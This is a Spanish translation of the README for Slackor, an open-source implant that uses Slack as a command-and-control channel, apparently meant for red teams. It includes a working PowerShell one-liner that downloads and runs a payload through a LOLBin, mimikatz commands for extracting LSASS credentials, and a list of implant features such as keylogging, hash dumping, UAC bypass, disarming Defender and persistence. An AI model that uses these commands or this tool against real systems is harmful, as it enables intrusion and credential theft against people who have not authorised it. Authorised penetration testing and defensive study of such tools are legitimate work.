Slackor #

Mantenido en https://github.com/n00py/Slackor

Un implante en Golang que usa Slack como canal de comando y control.

Este proyecto fue inspirado por Gcat y Twittor.

Esta herramienta se publica como prueba de concepto. Asegúrese de leer y comprender la Política de Desarrollador de Aplicaciones de Slack antes de crear cualquier aplicación de Slack.

Configuración

Nota: El servidor está escrito en Python 3

Para que esto funcione necesitas:

• Un espacio de trabajo de Slack

• Registra una aplicación con los siguientes permisos:

  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read

• Crea un bot

Este repositorio contiene cinco archivos:

• install.sh Instala dependencias
• setup.py El script para crear los canales de Slack, la base de datos y el implante
• agent.py Script para generar nuevos implantes
• server.py El servidor Slackor, diseñado para ejecutarse en Linux
• agent.go El implante en golang
• requirements.txt Dependencias de Python (instaladas automáticamente)

Para empezar:

• go get github.com/Coalfire-Research/Slackor
• cd $GOPATH/src/github.com/Coalfire-Research/Slackor
• Ejecuta install.sh
• Ejecuta setup.py
  • Proporciona el OAuth Access Token y el Bot User OAuth Access Token de tu aplicación

Después de ejecutar el script correctamente, se crearán varios archivos en el directorio dist/:

• agent.windows.exe: Binario de Windows 64 bits
• agent.upx.exe: Binario de Windows 64 bits, empaquetado con UPX
• agent.darwin: Binario de macOS 64 bits
• agent.32.linux: Binario de Linux 32 bits
• agent.64.linux: Binario de Linux 64 bits

Después de iniciar server.py en un host Linux, ejecuta el agente que corresponda para tu host objetivo.

Ejecuta el módulo "stager" para generar un one-liner y otros droppers.

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

Esto ejecutará InvokeWebRequest(PS v.3+) para descargar el payload, ejecutarlo usando un LOLBin, y luego eliminarse a sí mismo una vez terminado. Este es un ejemplo funcional, pero el comando se puede ajustar para usar otro método de descarga o ejecución.

Uso

Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles. Escribe "help [COMANDO]" para ver una descripción de ese comando.

(Slackor)

• help - Muestra el menú de ayuda
• interact - Interactúa con un agente
• list - Lista todos los agentes registrados
• remove - Mata y elimina un agente
• revive - Envía una señal a todos los agentes para que se vuelvan a registrar con el servidor
• stager - Genera un one-liner para descargar y ejecutar el implante
• quit - Sale del programa
• wipefiles - Elimina todos los archivos subidos de Slack

Una vez que un agente se registra, puedes interactuar con él. Usa "interact [AGENTE]" para ingresar al prompt del agente. Escribe "help" o presiona [TAB] para ver una lista de comandos disponibles.

(Slackor:AGENTE)

• Comandos Comunes
  • back - Vuelve al menú principal
  • beacon - Cambia el intervalo entre cada check-in de un agente (por defecto 5 segundos)
  • download - Descarga un archivo del agente al servidor Slackor
  • help - Muestra el menú de ayuda
  • kill - Mata al agente
  • sleep - Hace que el agente duerma una vez (ingresa el tiempo en segundos)
  • sysinfo - Muestra el usuario actual, versión del SO, arquitectura del sistema y número de núcleos de CPU
  • upload - Sube un archivo al agente desde el servidor Slackor
  • wget - Descarga archivos arbitrarios sobre HTTP/HTTPS
• Comandos de Windows
  • bypassuac - Intenta generar un agente de alta integridad
  • cleanup - Elimina artefactos de persistencia
  • clipboard - Recupera el contenido del portapapeles
  • defanger - Intenta desarmar Windows Defender
  • duplicate - Hace que el agente genere otra invocación de sí mismo
  • getsystem - Genera un agente como NTAUTHORITY\SYSTEM
  • keyscan - Inicia un keylogger en el agente
  • minidump - Vuelca la memoria de lsass.exe y la descarga
  • persist - Crea persistencia implantando un binario en un ADS
  • samdump - Intenta volcar el archivo SAM para extracción offline de hashes
  • screenshot - Toma una captura de pantalla del escritorio y la recupera
  • shellcode - Ejecuta shellcode x64 en crudo
• Comandos de Mac
• Comandos de Linux
  • screenshot - Toma una captura de pantalla del escritorio y la recupera

Consideraciones de OPSEC

La salida de comandos y los archivos descargados están cifrados con AES además del cifrado de transporte TLS de Slack.

Los módulos te advertirán antes de realizar tareas que escriban en disco.
Al ejecutar comandos de shell, ten en cuenta que se ejecutará cmd.exe/bash. Esto puede ser monitoreado en el host. Aquí hay varios comandos seguros para OPSEC que NO ejecutarán cmd.exe/bash:

• cat - imprime el contenido del archivo
• cd - cambia de directorio
• find - busca nombres de archivos en directorios
• getip - Obtiene la dirección IP externa (hace una solicitud DNS)
• hostname - Muestra el nombre del host
• ifconfig - Muestra información de interfaces
• ls - lista el contenido del directorio
• mkdir - crea un directorio
• pwd - imprime el directorio de trabajo actual
• rm - elimina un archivo
• rmdir - elimina un directorio
• whoami / getuid - imprime el usuario actual

Créditos

• https://github.com/EgeBalci - Funciones adaptadas de HERCULES y EGESPLOIT
• https://github.com/SaturnsVoid - Keylogger adaptado de GoBot2
• https://github.com/vyrus001 - Ejecución de shellcode x64 shellGo
• Funciones criptográficas adoptadas de https://www.golang123.com/topic/1686
• Idea de persistencia de Enigma0x3
• Minidump adoptado de Merlin, crédito a C-Sto
• Código de captura de pantalla de kbinani
• Código de portapapeles de atotto
• Generador de stager de hlldz
• Bypass de UAC por winscripting.blog
• Hallazgo de Lulzbin por @vector_sec
• Innumerables hilos en StackOverflow
• Gracias a impacket por volcar hashes de los archivos de registro SAM/SYS/SECURITY.
• Extracción de credenciales del volcado de LSASS posible gracias a pypykatz de skelsec
• Bob Aman (Sporkmonger) por varias adiciones

Objetivos futuros

• DOSfuscation
• Cargar DLL/PE de forma reflectiva - https://github.com/vyrus001/go-mimikatz
• Ejecutar ensamblados de C# en memoria - https://github.com/lesnuages/go-execute-assembly
• Ofuscación de código fuente https://github.com/unixpickle/gobfuscate

FAQ:

¿Es seguro usarlo para equipos rojos/pruebas de penetración?

Sí, bajo ciertas condiciones. Aunque los datos están cifrados en tránsito, el agente contiene la clave para el descifrado. Cualquier persona que adquiera una copia del agente podría aplicar ingeniería inversa y extraer las claves de API y la clave secreta AES. Cualquier persona que comprometa o de otra manera obtenga acceso al espacio de trabajo podría recuperar todos los datos dentro de él. Por esta razón, no se recomienda reutilizar la infraestructura contra múltiples organizaciones.

¿Qué pasa con Mimikatz?

El implante no tiene funcionalidad de volcado de contraseñas en memoria. Si necesitas logonPasswords, puedes probar lo siguiente:

(Slackor: AGENTE)minidump

Esto extraerá automáticamente contraseñas con Pypykatz. Alternativamente, puedes usar Mimikatz en Windows.

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

¿Es multiplataforma?

Tiene soporte multiplataforma limitado. No ha sido completamente probado en todos los sistemas en los que se puede ejecutar. El servidor fue diseñado para ejecutarse en Kali Linux. El agente está compilado para Windows, Mac y Linux, pero ha sido probado principalmente con Windows 10. Los agentes pueden manejar incorrectamente comandos que no son compatibles con la plataforma de ese agente (no intentes hacer un minidump en un Mac).

¿Qué tan bien escala?

La escalabilidad está limitada por la API de Slack. Si tienes múltiples agentes, considera aumentar el intervalo de baliza de las balizas no utilizadas.

¿Es vulnerable al análisis estándar de balizas?

Actualmente cada baliza tiene un 20% de jitter incorporado, y los tiempos de baliza se pueden personalizar. Los paquetes de solicitud y respuesta de check-in del agente tendrán aproximadamente el mismo tamaño cada vez mientras no se reciban nuevos comandos.

¿Por qué hiciste [x] cuando una mejor manera de hacerlo es [y]?

Hice lo mejor que pude. ¡Se animan los PRs :)

¡Es detectado por el antivirus!

Con esto siendo ahora de código abierto, es probable que tenga problemas. Arreglaré los módulos en la medida de lo posible, pero no hay garantía de que esto evite todo el AV en todo momento.